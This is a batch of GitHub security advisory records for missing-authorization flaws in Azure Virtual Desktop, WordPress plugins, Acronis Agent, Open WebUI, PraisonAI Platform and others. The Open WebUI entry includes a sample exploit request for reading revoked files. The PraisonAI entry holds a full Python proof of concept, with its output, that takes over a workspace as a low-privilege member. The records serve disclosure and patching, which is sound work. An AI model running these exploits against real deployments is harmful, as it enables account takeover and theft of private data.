{
  "affected": [],
  "aliases": [
    "CVE-2025-21416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-30T18:15:38Z",
    "severity": "HIGH"
  },
  "details": "Missing authorization in Azure Virtual Desktop allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-h35h-mv3v-626v",
  "modified": "2025-04-30T18:31:55Z",
  "published": "2025-04-30T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21416"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21416"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-22698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T13:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Suite by Online ADA: from n/a through 4.16.",
  "id": "GHSA-h363-hgm3-pxr6",
  "modified": "2026-04-01T18:33:37Z",
  "published": "2025-02-14T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22698"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/online-accessibility/vulnerability/wordpress-accessibility-suite-by-ability-inc-plugin-4-16-multiple-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:03:09Z",
    "nvd_published_at": "2026-05-15T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "# Unauthorized File and Knowledge Base Content Access via RAG Vector Search\n\n## Affected Component\n\nRAG source resolution in chat completion pipeline:\n- `backend/open_webui/retrieval/utils.py` (lines 963-965, 1063-1068, 1126-1131 in `get_sources_from_items`)\n\n## Affected Versions\n\nCurrent main branch (commit `6fdd19bf1`) and likely all versions with RAG functionality.\n\n## Description\n\nThe `get_sources_from_items` function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to.\n\n| Path | Lines | Access Check |\n|------|-------|-------------|\n| `type: \"file\"`, full-context | 1044-1050 | \u2705 `has_access_to_file` |\n| `type: \"file\"`, non-full-context (default) | 1063-1068 | \u274c None |\n| `type: \"collection\"` | 1070-1118 | \u2705 Present |\n| `type: \"text\"` with `collection_name` | 963-965 | \u274c None |\n| Bare `collection_name`/`collection_names` | 1126-1131 | \u274c None |\n\nThe three unprotected paths pass user-supplied collection names directly to `query_collection()`, which queries the vector store without any authorization. Collection names follow predictable formats: `file-\u003cfile_id\u003e` for files and the knowledge base UUID for knowledge bases.\n\n## CVSS 3.1 Breakdown\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network (N) | Exploited remotely via chat completion API |\n| Attack Complexity | Low (L) | Single API call with a known resource ID |\n| Privileges Required | Low (L) | Requires a valid user account |\n| User Interaction | None (N) | No victim interaction required |\n| Scope | Unchanged (U) | Impact within the application\u0027s data boundary |\n| Confidentiality | High (H) | Full content of private files/knowledge bases extractable |\n| Integrity | None (N) | No data modification |\n| Availability | None (N) | No denial of service |\n\n## Attack Scenario\n\n1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection `file-\u003cfile_id\u003e`).\n2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction.\n3. User A later revokes User B\u0027s access to the file.\n4. User B sends a chat completion request referencing the revoked file:\n   ```json\n   POST /api/chat/completions\n   {\n     \"model\": \"any-accessible-model\",\n     \"messages\": [{\"role\": \"user\", \"content\": \"What does this document say about pricing?\"}],\n     \"files\": [{\"type\": \"file\", \"id\": \"\u003crevoked_file_id\u003e\"}]\n   }\n   ```\n5. The non-full-context path (default) constructs collection name `file-\u003cid\u003e` and queries the vector store with no access check.\n6. Matching chunks are injected into the LLM context, and the response contains the victim\u0027s private file content.\n\nThe same attack works via `{\"type\": \"text\", \"collection_name\": \"\u003cknowledge_base_id\u003e\"}` for knowledge bases.\n\n## Impact\n\n- Access revocation is ineffective for RAG content \u2014 users who previously had access can continue extracting file and knowledge base content indefinitely\n- Private document content can be systematically extracted through targeted queries\n- Breaks the access control model for files and knowledge bases at the RAG layer\n\n## Preconditions\n\n- Attacker must know the file ID or knowledge base ID (UUID) of the target resource\n- The target file/knowledge base must have been processed into the vector store\n- Attacker must have a valid user account",
  "id": "GHSA-h36f-rqpx-j5wx",
  "modified": "2026-05-15T23:53:30Z",
  "published": "2026-05-08T20:03:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h36f-rqpx-j5wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44560"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:42:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n            \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n            \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1. Register an owner account.\n        owner = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"owner_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"owner_{suffix}\",\n            },\n        )\n\n        # 2. Register a low-privilege member account.\n        member = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"member_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"member_{suffix}\",\n            },\n        )\n\n        # 3. Register a third attacker-controlled account.\n        extra = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"extra_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"extra_{suffix}\",\n            },\n        )\n\n        owner_json = owner.json()\n        member_json = member.json()\n        extra_json = extra.json()\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_json[\u0027token\u0027]}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_json[\u0027token\u0027]}\"}\n\n        # 4. Create a workspace as the owner.\n        workspace = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"ws-{suffix}\",\n                \"slug\": f\"ws-{suffix}\",\n                \"description\": \"rbac bypass poc\",\n            },\n            headers=owner_headers,\n        )\n\n        workspace_id = workspace.json()[\"id\"]\n\n        # 5. Owner adds the second user as a normal low-privilege member.\n        added_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": member_json[\"user\"][\"id\"],\n                \"role\": \"member\",\n            },\n            headers=owner_headers,\n        )\n\n        # 6. Low-privilege member self-promotes to owner.\n        promoted = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/members/{member_json[\u0027user\u0027][\u0027id\u0027]}\",\n            json={\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 7. The same formerly-low-privilege member adds a third account as owner.\n        added_owner = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": extra_json[\"user\"][\"id\"],\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 8. The same account removes the original owner.\n        removed_original_owner = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/members/{owner_json[\u0027user\u0027][\u0027id\u0027]}\",\n            headers=member_headers,\n        )\n\n        # 9. Confirm remaining membership state.\n        remaining_members = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            headers=member_headers,\n        )\n\n        remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n        print(f\"[poc] owner_status={owner.status_code}\")\n        print(f\"[poc] member_status={member.status_code}\")\n        print(f\"[poc] extra_status={extra.status_code}\")\n        print(f\"[poc] workspace_status={workspace.status_code}\")\n        print(f\"[poc] add_status={added_member.status_code} role={added_member.json()[\u0027role\u0027]}\")\n        print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()[\u0027role\u0027]}\")\n        print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()[\u0027role\u0027]}\")\n        print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n        print(f\"[poc] remaining_roles={remaining_roles}\")\n\n        if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n        if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n        if removed_original_owner.status_code != 204:\n            raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n        if remaining_roles.count(\"owner\") \u003c 2:\n            raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n        print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=[\u0027owner\u0027, \u0027owner\u0027]\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer \u003cmember_token\u003e\nContent-Type: application/json\n\n{\n  \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members\u0027 roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
  "id": "GHSA-h37g-4h4p-9x97",
  "modified": "2026-05-29T22:42:07Z",
  "published": "2026-05-29T22:42:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-45244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-06T10:15:18Z",
    "severity": "HIGH"
  },
  "details": "Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 35895.",
  "id": "GHSA-h389-6qwx-9w99",
  "modified": "2023-10-06T12:30:19Z",
  "published": "2023-10-06T12:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45244"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-5907"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-41338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T14:15:35Z",
    "severity": "HIGH"
  },
  "details": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users\u0027 information by sending a POST through the\u00a0parameters \u0027id_denuncia\u0027 and \u0027id_user\u0027 in \u0027/backend/api/buscarTestigoByIdDenunciaUsuario.php\u0027.",
  "id": "GHSA-h38q-9wpm-3743",
  "modified": "2025-11-05T17:48:27Z",
  "published": "2025-11-04T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41338"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T10:16:27Z",
    "severity": "MODERATE"
  },
  "details": "The JoomSport \u2013 for Sports: Team \u0026 League, Football, Hockey \u0026 more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.7.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary season groups or modify existing group names, participants, and round-type options. Exploitation requires obtaining the joomsportajaxnonce, which is exposed on frontend pages that render a JoomSport shortcode.",
  "id": "GHSA-h398-fp2w-9mpg",
  "modified": "2026-07-02T12:30:58Z",
  "published": "2026-07-02T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12134"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/joomsport-shortcodes.php#L473"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/joomsport-shortcodes.php#L473"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3581673%40joomsport-sports-league-results-management\u0026new=3581673%40joomsport-sports-league-results-management\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a00997d4-f242-4d49-8542-0738efa66222?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-47788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T11:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Automattic Jetpack.This issue affects Jetpack: from n/a before 12.7.",
  "id": "GHSA-h39g-8hj5-3r27",
  "modified": "2024-06-19T12:31:21Z",
  "published": "2024-06-19T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47788"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/jetpack/wordpress-jetpack-plugin-12-7-contributor-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-2561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-12T05:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Gallery Metabox for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gallery_remove function in versions up to, and including, 1.5. This makes it possible for subscriber-level attackers to modify galleries attached to posts and pages with this plugin.",
  "id": "GHSA-h3cv-3fjg-8h4x",
  "modified": "2024-04-04T06:01:18Z",
  "published": "2023-07-12T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2561"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gallery-metabox/trunk/gallery-metabox.php?rev=611664#L233"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/faad339f-96d6-4937-a1f3-9d2d19bc6395?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-2702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-20T10:15:11Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Olive Themes Olive One Click Demo Import allows importing settings and data, ultimately leading to XSS.This issue affects Olive One Click Demo Import: from n/a through 1.1.1.",
  "id": "GHSA-h3f7-4pq5-5jqm",
  "modified": "2025-05-07T03:30:27Z",
  "published": "2024-03-20T15:32:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2702"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/olive-one-click-demo-import/wordpress-olive-one-click-demo-import-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}